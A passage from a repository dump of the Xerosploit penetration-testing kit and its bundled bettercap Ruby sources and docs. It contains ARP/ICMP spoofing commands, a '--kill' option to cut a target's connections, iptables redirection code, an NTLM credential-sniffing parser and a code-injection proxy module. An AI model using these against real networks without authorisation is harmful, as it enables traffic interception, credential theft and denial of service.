Logger.debug "Probing #{@address} ..." 40 | @ctx.packets.push( get_probe(@address) ) 41 | end 42 | end 43 | end 44 | 45 | private 46 | 47 | # Return true if +ip+ must be skipped during discovery, otherwise false. 48 | def skip_address?(ip) 49 | # don't send probes to the gateway if we already have its MAC. 50 | if ip == @ctx.gateway.ip 51 | return !@ctx.gateway.mac.nil? 52 | # don't send probes to our device 53 | elsif ip == @ctx.iface.ip 54 | return true 55 | # don't stress endpoints we already discovered 56 | else 57 | target = @ctx.find_target( ip.to_s, nil ) 58 | # known target? 59 | return false if target.nil? 60 | # do we still need to get the mac for this target? 61 | return ( target.mac.nil?? false : true ) 62 | end 63 | 64 | end 65 | 66 | # Each Discovery::Agent::Base derived class should implement this method. 67 | def get_probe( ip ) 68 | Logger.warn "#{self.class.name}#get_probe not implemented!" 69 | end 70 | end 71 | end 72 | end 73 | end 74 | -------------------------------------------------------------------------------- /tools/bettercap/docs/install.md: -------------------------------------------------------------------------------- 1 | Installation 2 | ============ 3 | 4 | BetterCap comes packaged as a **Ruby** gem, meaning you will need a Ruby interpreter ( >= 1.9 ) and a RubyGems environment installed. Moreover, it is **fully compatible with GNU/Linux, Mac OS X and OpenBSD platforms**. 5 | 6 | ### Dependencies 7 | 8 | All Ruby dependencies will be automatically installed through the GEM system, however some of the GEMS need native libraries in order to compile: 9 | 10 | sudo apt-get install build-essential ruby-dev libpcap-dev 11 | 12 | ### Installing on Kali Linux 13 | 14 | Kali Linux has bettercap packaged and added to the **kali-rolling** repositories. To install bettercap and all dependencies in one fell swoop on the latest version of Kali Linux: 15 | 16 | apt-get update 17 | apt-get install bettercap 18 | 19 | ### Stable Release ( GEM ) 20 | 21 | You can easily install bettercap using the `gem install GEMNAME` command: 22 | 23 | gem install bettercap 24 | 25 | To update to a newer release: 26 | 27 | gem update bettercap 28 | 29 | If you have trouble installing bettercap read the following sections about dependencies. 30 | 31 | <div class="admonition note"> 32 | <p class="admonition-title">Note</p> 33 | <p>If you installed bettercap using a RVM installation, you will need to execute it using <strong>rvmsudo</strong>:<br/> 34 | <code>rvmsudo bettercap ...</code><br/> 35 | Otherwise, if you installed it globally ( <code>sudo gem install bettercap</code> ) you can use <strong>sudo</strong>:<br/> 36 | <code>sudo bettercap ...</code> 37 | </p> 38 | </div> 39 | 40 | ### Development Release 41 | 42 | Instead of the stable release, you can also clone the source code from the github repository, this will give you 43 | all the latest and **experimental** features, but remember that you're using a potentially unstable release: 44 | 45 | git clone https://github.com/evilsocket/bettercap 46 | cd bettercap 47 | bundle install 48 | gem build bettercap.gemspec 49 | sudo gem install bettercap*.gem 50 | 51 | ### Quick Start 52 | 53 | Once you've installed bettercap, quickly get started with: 54 | 55 | bettercap --help 56 | 57 | The help menu will show you every available command line option and a few examples. 58 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/options/server_options.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | 16 | class ServerOptions 17 | # If true, BetterCap::Network::Servers::HTTPD will be enabled. 18 | attr_accessor :httpd 19 | # The port to bind HTTP server to. 20 | attr_accessor :httpd_port 21 | # Web root of the HTTP server. 22 | attr_accessor :httpd_path 23 | # If true, BetterCap::Network::Servers::DNSD will be enabled. 24 | attr_accessor :dnsd 25 | # The port to bind DNS server to. 26 | attr_accessor :dnsd_port 27 | # The host resolution file to use with the DNS server. 28 | attr_accessor :dnsd_file 29 | 30 | def initialize 31 | @httpd = false 32 | @httpd_port = 8081 33 | @httpd_path = './' 34 | @dnsd = false 35 | @dnsd_port = 5300 36 | @dnsd_file = nil 37 | end 38 | 39 | def parse!( ctx, opts ) 40 | opts.separator "" 41 | opts.separator "SERVERS:".bold 42 | opts.separator "" 43 | 44 | opts.on( '--httpd', "Enable HTTP server, default to #{'false'.yellow}." ) do 45 | @httpd = true 46 | end 47 | 48 | opts.on( '--httpd-port PORT', "Set HTTP server port, default to #{@httpd_port.to_s.yellow}." ) do |v| 49 | raise BetterCap::Error, "Invalid port '#{v}' specified." unless Network::Validator.is_valid_port?(v) 50 | @httpd = true 51 | @httpd_port = v.to_i 52 | end 53 | 54 | opts.on( '--httpd-path PATH', "Set HTTP server path, default to #{@httpd_path.yellow} ." ) do |v| 55 | @httpd = true 56 | @httpd_path = v 57 | end 58 | 59 | opts.on( '--dns FILE', 'Enable DNS server and use this file as a hosts resolution table.' ) do |v| 60 | @dnsd = true 61 | @dnsd_file = File.expand_path v 62 | end 63 | 64 | opts.on( '--dns-port PORT', "Set DNS server port, default to #{@dnsd_port.to_s.yellow}." ) do |v| 65 | raise BetterCap::Error, "Invalid port '#{v}' specified." unless Network::Validator.is_valid_port?(v) 66 | @dnsd_port = v.to_i 67 | end 68 | 69 | end 70 | 71 | end 72 | 73 | end 74 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/firewalls/bsd.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Firewalls 16 | # *BSD and OSX Firewall class. 17 | class BSD < Base 18 | # If +enabled+ is true will enable packet forwarding, otherwise it will 19 | # disable it. 20 | def enable_forwarding(enabled) 21 | Shell.execute("sysctl -w net.inet.ip.forwarding=#{enabled ? 1 : 0}") 22 | end 23 | 24 | # If +enabled+ is true will enable packet icmp_echo_ignore_broadcasts, otherwise it will 25 | # disable it. 26 | def enable_icmp_bcast(enabled) 27 | Shell.execute("sysctl -w net.inet.icmp.bmcastecho=#{enabled ? 1 : 0}") 28 | end 29 | 30 | # Return true if packet forwarding is currently enabled, otherwise false. 31 | def forwarding_enabled? 32 | Shell.execute('sysctl net.inet.ip.forwarding').strip.split(' ')[1] == '1' 33 | end 34 | 35 | # This method is ignored on OSX. 36 | def enable_send_redirects(enabled); end 37 | 38 | # If +enabled+ is true, the PF firewall will be enabled, otherwise it will 39 | # be disabled. 40 | def enable(enabled) 41 | Shell.execute("pfctl -#{enabled ? 'e' : 'd'} >/dev/null 2>&1") 42 | rescue 43 | end 44 | 45 | # Apply the +r+ BetterCap::Firewalls::Redirection port redirection object. 46 | def add_port_redirection( r ) 47 | # create the pf config file 48 | config_file = "/tmp/bettercap_pf_#{Process.pid}.conf" 49 | 50 | File.open( config_file, 'a+t' ) do |f| 51 | f.write "rdr pass on #{r.interface} proto #{r.protocol} from any to #{r.src_address.nil? ? 'any' : r.src_address} port #{r.src_port} -> #{r.dst_address} port #{r.dst_port}\n" 52 | end 53 | 54 | # load the rule 55 | Shell.execute("pfctl -f #{config_file} >/dev/null 2>&1") 56 | # enable pf 57 | enable true 58 | end 59 | 60 | # Remove the +r+ BetterCap::Firewalls::Redirection port redirection object. 61 | def del_port_redirection( r ) 62 | # FIXME: This should search for multiple rules inside the 63 | # file and remove only this one. 64 | 65 | # disable pf 66 | enable false 67 | 68 | # remove the pf config file 69 | File.delete( "/tmp/bettercap_pf_#{Process.pid}.conf" ) 70 | rescue 71 | end 72 | end 73 | end 74 | end 75 | -------------------------------------------------------------------------------- /tools/bettercap/docs/main.md: -------------------------------------------------------------------------------- 1 | General Options 2 | ============ 3 | 4 | The following are the main options that determine the general behaviour of BetterCap, **these options are not mandatory**, in fact bettercap will automatically detect everything it needs in order to work, you just might need to use one or more of the following options to specify some custom behaviour in specific cases. 5 | 6 | ## Examples 7 | 8 | Attack specific targets: 9 | 10 | `sudo bettercap -T 192.168.1.10,192.168.1.11` 11 | 12 | Attack a specific target by its MAC address: 13 | 14 | `sudo bettercap -T 01:23:45:67:89:10` 15 | 16 | Attack a range of IP addresses: 17 | 18 | `sudo bettercap -T 192.168.1.1-30` 19 | 20 | Attack a specific subnet: 21 | 22 | `sudo bettercap -T 192.168.1.1/24` 23 | 24 | Randomize the interface MAC address during the attack: 25 | 26 | `sudo bettercap --random-mac` 27 | 28 | ## Options 29 | 30 | ### `-I, --interface IFACE` 31 | 32 | BetterCAP will automatically detect your default network interface and use it, if you want to make it use another interface ( when you have more than one, let's say `eth0` and `wlan0` ) you can use this option. 33 | 34 | ### `--use-mac ADDRESS` 35 | 36 | Change the interface MAC address to this value before performing the attack. 37 | 38 | ### `--random-mac` 39 | 40 | Change the interface MAC address to a random one before performing the attack. 41 | 42 | ### `-G, --gateway ADDRESS` 43 | 44 | The same goes for the gateway, either let bettercap automatically detect it or manually specify its address. 45 | 46 | ### `-T, --target ADDRESS1,ADDRESS2` 47 | 48 | If no specific target is given on the command line, bettercap will spoof every single address on the network. There are cases when you already know the IP or MAC address of your target(s), in such cases you can use this option. 49 | 50 | ### `--ignore ADDRESS1,ADDRESS2` 51 | 52 | Ignore these IP addresses if found while searching for targets. 53 | 54 | ### `--no-discovery` 55 | 56 | Do not actively search for hosts, just use the current ARP cache, default to `false`. 57 | 58 | ### `--no-target-nbns` 59 | 60 | Disable target NBNS hostname resolution. 61 | 62 | ### `--packet-throttle NUMBER` 63 | 64 | Number of seconds ( can be a decimal number ) to wait between each packet to be sent. 65 | 66 | ### `--check-updates` 67 | 68 | Will check if any update is available and then exit. 69 | 70 | ### `-h, --help` 71 | 72 | Display the available options. 73 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | [![Version](https://img.shields.io/badge/Xerosploit-Version_1.0-brightgreen.svg?maxAge=259200)]() 3 | [![PyPI](https://img.shields.io/badge/Python-2.7-blue.svg)]() 4 | [![Build](https://img.shields.io/badge/Supported_OS-linux-orange.svg)]() 5 | [![AUR](https://img.shields.io/aur/license/yaourt.svg)]() 6 | 7 | Xerosploit 8 | = 9 | Xerosploit is a penetration testing toolkit whose goal is to perform man in the middle attacks for testing purposes. It brings various modules that allow to realise efficient attacks, and also allows to carry out denial of service attacks and port scanning. 10 | Powered by <a href="https://www.bettercap.org"> bettercap</a> and <a href="https://www.bettercap.org"> nmap</a>. 11 | 12 | ![](http://i.imgur.com/bbr48Ep.png) 13 | 14 | Dependencies 15 | = 16 | 17 | - nmap 18 | - hping3 19 | - build-essential 20 | - ruby-dev 21 | - libpcap-dev 22 | - libgmp3-dev 23 | - tabulate 24 | - terminaltables 25 | 26 | 27 | 28 | 29 | Instalation 30 | = 31 | Dependencies will be automatically installed. 32 | 33 | git clone https://github.com/LionSec/xerosploit 34 | cd xerosploit && sudo python install.py 35 | sudo xerosploit 36 | 37 | 38 | Tested on 39 | = 40 | 41 | <table> 42 | <tr> 43 | <th>Operative system</th> 44 | <th> Version </th> 45 | </tr> 46 | <tr> 47 | <td>Ubuntu</td> 48 | <td> 16.04 / 15.10 </td> 49 | </tr> 50 | <tr> 51 | <td>Kali linux</td> 52 | <td> Rolling / Sana</td> 53 | </tr> 54 | <tr> 55 | <td>Parrot OS</td> 56 | <td>3.1 </td> 57 | </tr> 58 | </table> 59 | 60 | 61 | 62 | features 63 | = 64 | - Port scanning 65 | - Network mapping 66 | - Dos attack 67 | - Html code injection 68 | - Javascript code injection 69 | - Download intercaption and replacement 70 | - Sniffing 71 | - Dns spoofing 72 | - Background audio reproduction 73 | - Images replacement 74 | - Drifnet 75 | - Webpage defacement and more ... 76 | 77 | Demonstration 78 | = 79 | https://www.youtube.com/watch?v=35QUrtZEV9U 80 | 81 | I have some questions! 82 | = 83 | 84 | Please visit https://github.com/LionSec/xerosploit/issues 85 | 86 | Donations 87 | = 88 | - Paypal : https://www.paypal.me/lionsec 89 | - Bitcoin : 12dM5kZjYMizNuXaqu7QZBLNDkXjfKYpRD 90 | 91 | 92 | Contact 93 | = 94 | - Website : https://neodrix.com 95 | - Youtube : https://youtube.com/inf98es 96 | - Facebook : https://facebook.com/in98 97 | - Twitter: @LionSec1 98 | - Email : informatic98es@gmail.com 99 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/network/protos/ntlm.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Network 16 | module Protos 17 | module NTLM 18 | 19 | # https://msdn.microsoft.com/en-us/library/ee441774.aspx 20 | # https://developer.gnome.org/evolution-exchange/stable/ximian-connector-ntlm.html 21 | class Packet < Network::Protos::Base 22 | uint8 :netbios_message_type 23 | bytes :netbios_length, :size => 3 24 | 25 | string :smb_protocol, :size => 4, :check => "\xFFSMB" 26 | uint8 :smb_command 27 | uint32 :smb_status 28 | uint8 :smb_flags 29 | uint16 :smb_flags2 30 | uint16 :smb_pid_high 31 | bytes :smb_signature, :size => 8 32 | uint16 :smb_reserved 33 | uint16 :smb_tid 34 | uint16 :smb_pid_low 35 | uint16 :smb_uid 36 | uint16 :smb_mid 37 | 38 | uint8 :word_count 39 | uint8 :and_x_command 40 | uint8 :reserved 41 | uint16 :and_x_offset 42 | uint16 :max_buffer 43 | uint16 :max_mpx_count 44 | uint16 :vc_number 45 | uint32 :session_key 46 | uint16 :security_blob_length 47 | uint32 :reserved_2 48 | uint32 :capabilities 49 | uint16 :byte_count 50 | 51 | bytes :dummy, :size => 12 52 | 53 | string :protocol, :size => 8, :check => "NTLMSSP\x00" 54 | uint32 :type 55 | 56 | uint16 :lm_resp_len 57 | uint16 :lm_resp_max_len 58 | uint32 :lm_resp_off 59 | 60 | uint16 :nt_resp_len 61 | uint16 :nt_resp_max_len 62 | uint32 :nt_resp_off 63 | 64 | uint16 :dom_resp_len 65 | uint16 :dom_resp_max_len 66 | uint32 :dom_resp_off 67 | 68 | uint16 :user_resp_len 69 | uint16 :user_resp_max_len 70 | uint32 :user_resp_off 71 | 72 | uint16 :host_resp_len 73 | uint16 :host_resp_max_len 74 | uint32 :host_resp_off 75 | 76 | uint16 :session_resp_len 77 | uint16 :session_resp_max_len 78 | uint32 :session_resp_off 79 | 80 | uint32 :flags 81 | 82 | bytes :lm_response, :size => :lm_resp_len 83 | bytes :ntlm_response, :size => :nt_resp_len 84 | string :domain_name, :size => :dom_resp_len 85 | string :user_name, :size => :user_resp_len 86 | string :host_name, :size => :host_resp_len 87 | bytes :session_key_resp, :size => :session_resp_len 88 | 89 | def is_auth? 90 | self.type == 0x03 #NTLMSSP_AUTH 91 | end 92 | end 93 | 94 | end 95 | end 96 | end 97 | end 98 | -------------------------------------------------------------------------------- /tools/bettercap/.github/CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # How To Contribute 2 | 3 | As any other open source projects, there're many ways you can contribute to bettercap depending on your skills as a developer or will to help as a user, but first 4 | of all let me thank you for your help! <3 5 | 6 | ### Submitting Issues 7 | 8 | If you find bugs or inconsistencies while using bettercap, you can create an **Issue** using the [GitHub Issue tracker](https://github.com/evilsocket/bettercap/issues), but before doing that please make sure that: 9 | 10 | * You are using a relatively new Ruby version ( >= 1.9 ) : `ruby -v`. 11 | * Your GEM environment is configured properly and updated : `sudo gem update`. 12 | * You are using the latest version of bettercap : `bettercap --check-updates`. 13 | * The bug you're reporting is actually related to bettercap and not to one of the other GEMs. 14 | 15 | Once you've gone through this list, open an issue and please give us as much as informations as possible in order for us to fix the bug as soon as possible: 16 | 17 | * Your OS version. 18 | * Ruby version you're using. 19 | * Full output of the error ( exception backtrace, error message, etc ). 20 | * Your network configuration: `ifconfig -a` 21 | 22 | Also, you should attach to the issue a debug log that you can generate with: 23 | 24 | [sudo|rvmsudo] bettercap [arguments you are using for testing] --debug --log=debug.log 25 | 26 | Wait for the error to happen then close bettercap and paste the **debug.log** file inside the issue. 27 | 28 | ### Pull Requests 29 | 30 | If you know how to code in Ruby and have ideas to improve bettercap, you're very welcome to send us pull requests, we'll be happy to merge them whenever they comply to the following rules: 31 | 32 | * You have at least manually tested your code, ideally you've created actual tests for it. 33 | * Respect our coding standard, 2 spaces indentation and modular code. 34 | * There're no conflicts with the current dev branch. 35 | * Your commit messages are enough explanatory to us. 36 | 37 | There're plenty of things you can to do improve the software: 38 | 39 | * Implement a new proxy module and push it to the [dedicated repository](https://github.com/evilsocket/bettercap-proxy-modules). 40 | * Implement a new [Spoofer module](https://github.com/evilsocket/bettercap/blob/master/lib/bettercap/spoofers/arp.rb). 41 | * Implement a new [Sniffer credentials parser](https://github.com/evilsocket/bettercap/blob/master/lib/bettercap/sniffer/parsers/post.rb). 42 | * Fix, extend or improve the core. 43 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/firewalls/linux.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Firewalls 16 | # Linux firewall class. 17 | class Linux < Base 18 | 19 | IPV4_PATH = "/proc/sys/net/ipv4" 20 | IP_FORWARD_PATH = IPV4_PATH + "/ip_forward" 21 | ICMP_BCAST_PATH = IPV4_PATH + "/icmp_echo_ignore_broadcasts" 22 | SEND_REDIRECTS_PATH = IPV4_PATH + "/conf/all/send_redirects" 23 | # If +enabled+ is true will enable packet forwarding, otherwise it will 24 | # disable it. 25 | def enable_forwarding(enabled) 26 | File.open(IP_FORWARD_PATH,'w') { |f| f.puts "#{enabled ? 1 : 0}" } 27 | end 28 | 29 | # Return true if packet forwarding is currently enabled, otherwise false. 30 | def forwarding_enabled? 31 | File.open(IP_FORWARD_PATH) { |f| f.read.strip == '1' } 32 | end 33 | 34 | # If +enabled+ is true will enable packet icmp_echo_ignore_broadcasts, otherwise it will 35 | # disable it. 36 | def enable_icmp_bcast(enabled) 37 | File.open(ICMP_BCAST_PATH,'w') { |f| f.puts "#{enabled ? 1 : 0}" } 38 | end 39 | 40 | # If +enabled+ is true will enable send_redirects, otherwise it will 41 | # disable it. 42 | def enable_send_redirects(enabled) 43 | File.open(SEND_REDIRECTS_PATH,'w') { |f| f.puts "#{enabled ? 1 : 0}" } 44 | end 45 | 46 | # Apply the +r+ BetterCap::Firewalls::Redirection port redirection object. 47 | def add_port_redirection( r ) 48 | # post route 49 | Shell.execute('iptables -t nat -I POSTROUTING -s 0/0 -j MASQUERADE') 50 | # accept all 51 | Shell.execute('iptables -P FORWARD ACCEPT') 52 | # add redirection 53 | Shell.execute("iptables -t nat -A PREROUTING -i #{r.interface} -p #{r.protocol} #{r.src_address.nil? ? '' : "-d #{r.src_address}"} --dport #{r.src_port} -j DNAT --to #{r.dst_address}:#{r.dst_port}") 54 | end 55 | 56 | # Remove the +r+ BetterCap::Firewalls::Redirection port redirection object. 57 | def del_port_redirection( r ) 58 | # remove post route 59 | Shell.execute('iptables -t nat -D POSTROUTING -s 0/0 -j MASQUERADE') 60 | # remove redirection 61 | Shell.execute("iptables -t nat -D PREROUTING -i #{r.interface} -p #{r.protocol} #{r.src_address.nil? ? '' : "-d #{r.src_address}"} --dport #{r.src_port} -j DNAT --to #{r.dst_address}:#{r.dst_port}") 62 | end 63 | end 64 | end 65 | end 66 | -------------------------------------------------------------------------------- /tools/bettercap/docs/spoofing.md: -------------------------------------------------------------------------------- 1 | Spoofing 2 | ============ 3 | 4 | As previously described in the introduction section, spoofing is the very hearth of every MITM attack. These options will determine which spoofing technique to use and how to use it. 5 | 6 | BetterCap already includes an [ARP spoofer](https://en.wikipedia.org/wiki/ARP_spoofing) ( working both in full duplex and half duplex mode ), a **DNS** spoofer and **the first, fully working and completely automatized [ICMP DoubleDirect spoofer](https://blog.zimperium.com/doubledirect-zimperium-discovers-full-duplex-icmp-redirect-attacks-in-the-wild/) in the world** 7 | 8 | ## Examples 9 | 10 | Use the good old ARP spoofing: 11 | 12 | `sudo bettercap` or `sudo bettercap -S ARP` or `sudo bettercap --spoofer ARP` 13 | 14 | Use a *full duplex ICMP redirect* spoofing attack: 15 | 16 | `sudo bettercap -S ICMP` or `sudo bettercap --spoofer ICMP` 17 | 18 | Disable spoofing: 19 | 20 | `sudo bettercap -S NONE` or `sudo bettercap --spoofer NONE` or `sudo bettercap --no-spoofing` 21 | 22 | No dear 192.168.1.2, you won't connect to anything anymore :D 23 | 24 | `sudo bettercap -T 192.168.1.2 --kill` 25 | 26 | ## Options 27 | 28 | ### `-S, --spoofer NAME` 29 | 30 | Spoofer module to use, available: `ARP`, `ICMP`, `NONE` - default: `ARP`. 31 | 32 | ### `--no-spoofing` 33 | 34 | Disable spoofing, alias for `--spoofer NONE` / `-S NONE`. 35 | 36 | ### `--kill` 37 | 38 | Instead of forwarding packets, this switch will make targets connections to be killed. 39 | 40 | ### `--half-duplex` 41 | 42 | If your router has some builtin protection against spoofing do not worry, you can go **half duplex**. 43 | 44 | During a MITM, **full duplex** means that you're poisoning both the target machine **and** the router, namely if **T** is the target, **R** is the router and **A** is the attacker, you'll do this: 45 | 46 | 1. Make **T** believe that **A** is the router. 47 | 2. Make **R** believe that **A** is the target. 48 | 49 | So you need to send two ARP replies in order to do this. 50 | 51 | While we were trying to debug the [issue #45](https://github.com/evilsocket/bettercap/issues/45), we started Wireshark on the target computer ( **T** ) to see if it was receiving correct spoofed ARP replies and we noticed something weird. 52 | 53 | The first packet that was sent directly to him ( 1 ) was correctly being received but, as soon as my machine sent packet ( 2 ) to the router ( **R** ), the router itself sent another request to the real ip of **T** asking it again for its mac address, making the full duplex spoofing totally worthless as the packet sent from the router invalidated the ARP cache of the target and fixed it. 54 | -------------------------------------------------------------------------------- /tools/bettercap/docs/contribute.md: -------------------------------------------------------------------------------- 1 | Contributing 2 | ============ 3 | 4 | As any other open source projects, there're many ways you can contribute to bettercap depending on your skills as a developer or will to help as a user. 5 | 6 | ## Submitting Issues 7 | 8 | If you find bugs or inconsistencies while using bettercap, you can create an **Issue** using the [GitHub Issue tracker](https://github.com/evilsocket/bettercap/issues), but before doing that please make sure that: 9 | 10 | * You are using a relatively new Ruby version ( >= 1.9 ) : `ruby -v`. 11 | * Your GEM environment is configured properly and updated : `sudo gem update`. 12 | * You are using the latest version of bettercap : `bettercap --check-updates`. 13 | * The bug you're reporting is actually related to bettercap and not to one of the other GEMs. 14 | 15 | Once you've gone through this list, open an issue and please give us as much as informations as possible in order for us to fix the bug as soon as possible: 16 | 17 | * Your OS version. 18 | * Ruby version you're using. 19 | * Full output of the error ( exception backtrace, error message, etc ). 20 | * Your network configuration: `ifconfig -a` 21 | 22 | Also, you should attach to the issue a debug log that you can generate with: 23 | 24 | sudo bettercap [arguments you are using for testing] --debug --log=debug.log 25 | 26 | Wait for the error to happen then close bettercap and paste the **debug.log** file inside the issue. 27 | 28 | ## Improving the Documentation 29 | 30 | If you want to help, you can improve this documentation cloning [our code repository](https://github.com/evilsocket/bettercap) and updating the contents of the `docs` folder. 31 | 32 | ## Pull Requests 33 | 34 | If you know how to code in Ruby and have ideas to improve bettercap, you're very welcome to send us pull requests, we'll be happy to merge them whenever they comply to the following rules: 35 | 36 | * You have at least manually tested your code, ideally you've created actual tests for it. 37 | * Respect our coding standard, 2 spaces indentation and modular code. 38 | * There're no conflicts with the current dev branch. 39 | * Your commit messages are enough explanatory to us. 40 | 41 | There're plenty of things you can to do improve the software: 42 | 43 | * Implement a new proxy module and push it to the [dedicated repository](https://github.com/evilsocket/bettercap-proxy-modules). 44 | * Implement a new [Spoofer module](https://github.com/evilsocket/bettercap/blob/master/lib/bettercap/spoofers/arp.rb). 45 | * Implement a new [Sniffer credentials parser](https://github.com/evilsocket/bettercap/blob/master/lib/bettercap/sniffer/parsers/post.rb). 46 | * Fix, extend or improve the core. 47 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/network/arp_reader.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Network 16 | # This class is responsible for reading the computer ARP table. 17 | class ArpReader 18 | # Parse the current ARP cache and return a list of BetterCap::Target 19 | # objects which are found inside it, using the +ctx+ BetterCap::Context 20 | # instance. 21 | def self.parse( ctx ) 22 | targets = [] 23 | self.parse_cache do |ip,mac| 24 | if ip != ctx.gateway.ip and ip != ctx.iface.ip 25 | if ctx.options.core.ignore_ip?(ip) 26 | Logger.debug "Ignoring #{ip} ..." 27 | else 28 | # reuse Target object if it's already a known address 29 | known = ctx.find_target ip, mac 30 | if known.nil? 31 | targets << Target.new( ip, mac ) 32 | else 33 | targets << known 34 | end 35 | end 36 | end 37 | end 38 | targets 39 | end 40 | 41 | # Parse the ARP cache searching for the given IP +address+ and return its 42 | # MAC if found, otherwise nil. 43 | def self.find_address( address ) 44 | self.parse_cache do |ip,mac| 45 | if ip == address 46 | return mac 47 | end 48 | end 49 | nil 50 | end 51 | 52 | # Parse the ARP cache searching for the given MAC +address+ and return its 53 | # IP if found, otherwise nil. 54 | def self.find_mac( address ) 55 | self.parse_cache do |ip,mac| 56 | if mac == address 57 | return ip 58 | end 59 | end 60 | nil 61 | end 62 | 63 | private 64 | 65 | # Read the computer ARP cache and parse each line, it will yield each 66 | # ip and mac address it will be able to extract. 67 | def self.parse_cache 68 | iface = Context.get.iface.name 69 | Shell.arp.split("\n").each do |line| 70 | m = self.parse_cache_line(iface,line) 71 | unless m.nil? 72 | ip = m[1] 73 | hw = Target.normalized_mac( m[2] ) 74 | if hw != 'FF:FF:FF:FF:FF:FF' 75 | yield( ip, hw ) 76 | end 77 | end 78 | end 79 | end 80 | 81 | # Parse a single ARP cache +line+ related to the +iface+ network interface. 82 | def self.parse_cache_line( iface, line ) 83 | if RUBY_PLATFORM =~ /openbsd/i 84 | /([0-9\.]+)\s+([a-f0-9:]+)\s+#{iface}\s+.*/i.match(line) 85 | else 86 | /[^\s]+\s+\(([0-9\.]+)\)\s+at\s+([a-f0-9:]+).+#{iface}.*/i.match(line) 87 | end 88 | end 89 | end 90 | end 91 | end 92 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/base.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | module BetterCap 14 | module Parsers 15 | # Base class for BetterCap::Parsers. 16 | class Base 17 | # Hash of available parsers ( parser name -> class name ) 18 | @@loaded = {} 19 | 20 | class << self 21 | # Called when this base class is inherited from one of the parsers. 22 | def inherited(subclass) 23 | name = subclass.name.split('::')[2].upcase 24 | if name != 'CUSTOM' 25 | @@loaded[name] = subclass.name 26 | end 27 | end 28 | 29 | # Return a list of available parsers names. 30 | def available 31 | @@loaded.keys 32 | end 33 | 34 | # Parse the +v+ command line argument and return a list of parser names. 35 | # Will raise BetterCap::Error if one or more parser names are not valid. 36 | def from_cmdline(v) 37 | raise BetterCap::Error, "No parser names provided" if v.nil? 38 | 39 | avail = available 40 | list = v.split(',').collect(&:strip).collect(&:upcase).reject{ |c| c.empty? } 41 | list.each do |parser| 42 | raise BetterCap::Error, "Invalid parser name '#{parser}'." unless avail.include?(parser) or parser == '*' 43 | end 44 | list 45 | end 46 | 47 | # Return a list of BetterCap::Parsers instances by their +parsers+ names. 48 | def load_by_names(parsers) 49 | loaded = [] 50 | 51 | @@loaded.each do |name,cname| 52 | if parsers.include?(name) or parsers == ['*'] 53 | Logger.debug "Loading parser #{name} ( #{cname} ) ..." 54 | loaded << BetterCap::Loader.load(cname).new 55 | end 56 | end 57 | 58 | loaded 59 | end 60 | 61 | # Load and return an instance of the BetterCap::Parsers::Custom parser 62 | # given the +expression+ Regex object. 63 | def load_custom(expression) 64 | Logger.debug "Loading custom parser: '#{expression}' ..." 65 | [ BetterCap::Parsers::Custom.new(expression) ] 66 | end 67 | end 68 | 69 | # Initialize this parser. 70 | def initialize 71 | @filters = [] 72 | @name = 'BASE' 73 | end 74 | 75 | # This method will be called from the BetterCap::Sniffer for each 76 | # incoming packet ( +pkt ) and will apply the parser filter to it. 77 | def on_packet( pkt ) 78 | s = pkt.to_s 79 | @filters.each do |filter| 80 | if s =~ filter 81 | StreamLogger.log_raw( pkt, @name, pkt.payload ) 82 | end 83 | end 84 | end 85 | end 86 | end 87 | end 88 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/proxy/http/modules/injectcss.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | # This proxy module will take care of CSS code injection. 15 | class InjectCSS < BetterCap::Proxy::HTTP::Module 16 | meta( 17 | 'Name' => 'InjectCSS', 18 | 'Description' => 'This proxy module will take care of CSS code injection.', 19 | 'Version' => '1.0.0', 20 | 'Author' => "Simone 'evilsocket' Margaritelli", 21 | 'License' => 'GPL3' 22 | ) 23 | 24 | # CSS data to be injected. 25 | @@cssdata = nil 26 | # CSS file URL to be injected. 27 | @@cssurl = 